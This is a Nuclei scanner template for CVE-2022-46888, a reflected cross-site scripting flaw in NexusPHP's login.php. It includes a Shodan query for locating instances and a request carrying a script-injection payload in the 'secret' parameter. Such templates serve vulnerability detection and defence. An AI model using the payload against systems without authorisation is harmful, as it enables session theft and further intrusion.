nuclei-templates/http/cves/2022/CVE-2022-46888.yaml

54 lines
2.0 KiB
YAML

id: CVE-2022-46888
info:
name: NexusPHP <1.7.33 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
NexusPHP before 1.7.33 contains multiple cross-site scripting vulnerabilities via the secret parameter in /login.php; q parameter in /user-ban-log.php; query parameter in /log.php; text parameter in /moresmiles.php; q parameter in myhr.php; or id parameter in /viewrequests.php. An attacker can inject arbitrary web script or HTML, which can allow theft of cookie-based authentication credentials and launch of other attacks..
remediation: |
Upgrade to NexusPHP version 1.7.33 or later to mitigate this vulnerability.
reference:
- https://www.surecloud.com/resources/blog/nexusphp-surecloud-security-review-identifies-authenticated-unauthenticated-vulnerabilities
- https://github.com/xiaomlove/nexusphp/releases/tag/v1.7.33
- https://nvd.nist.gov/vuln/detail/CVE-2022-46888
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-46888
cwe-id: CWE-79
epss-score: 0.00099
epss-percentile: 0.40602
cpe: cpe:2.3:a:nexusphp:nexusphp:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: nexusphp
product: nexusphp
shodan-query: http.favicon.hash:-582931176
tags: cve,cve2022,nexus,php,nexusphp,xss
http:
- method: GET
path:
- '{{BaseURL}}/login.php?secret="><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value=""><script>alert(document.domain)</script>">'
- 'NexusPHP'
case-insensitive: true
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502204866b4c509c48b1775499644d345df8c431567004b38f8674c3938f617ec6cb7022100f594663ec51fd629d1fb0e1dc42018110f37b87bf5cef07e0f83faeaf4b3acc7:922c64590222798bb761d5b6d8e72950